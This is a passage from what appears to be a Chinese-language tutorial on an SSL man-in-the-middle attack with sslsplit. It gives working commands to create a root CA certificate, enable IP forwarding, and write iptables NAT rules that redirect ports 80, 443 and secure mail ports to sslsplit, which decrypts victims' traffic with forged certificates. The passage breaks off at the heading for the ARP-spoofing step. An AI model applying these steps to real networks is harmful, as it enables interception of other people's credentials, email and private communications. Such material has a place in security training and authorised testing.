openssl req -new -x509 -days 1096 -key ca.key -out ca.crt,进行一个新的请求,格式为-x509,现在的证书基本是x509的国际标准的证书格式,有效期为1096天,并使用ca.key私钥,生成ca.crt标准的证书文件。
sslsplit会自动的调用根证书,根据你要访问哪些网站,根据网站的名称,由根证书签发一个专门针对网站的证书。
2.开启路由功能
中间人也是个终端设备,不具有路由功能,转发过程不是由软件实现的,是由操作系统的路由功能实现的。
sysctl -w net.ipv4.ip_forward=1,将net.ipv4.ip_forward=1的值设为1,当然用输出重定向或者vim编辑proc/sys/net/ipv4/ip_forward也可。
3.写转发规则
iptables端口转发规则
当客户端把请求发给中间人终端设备的时候,发到终端的443端口之后,需要用iptables做NAT地址转换,其实是端口转换,把本地443端口收到的包转发到另外一个端口,而另外一个端口由sslsplit所侦听的端口,这样的话,凡是发给443端口的请求流量就会发给slsplit所侦听的端口,而sslsplit就会调用证书伪造一个看起来是目标网站的伪造网站,sslsplit会利用伪造的证书对发过来的流量进行解密
iptables -t nat -L 查看net的配置,为避免干扰,可以使用iptables -F清空配置,并使用netstat -pantu | grep :80 ,netstat -pantu | grep :443检查80和443是否被使用,使用则停止进程
将80、443端口进行转发给8080和8443端口。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
当然还可以对其他的协议的加密流量进行中间人攻击。
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
4.进行arp欺骗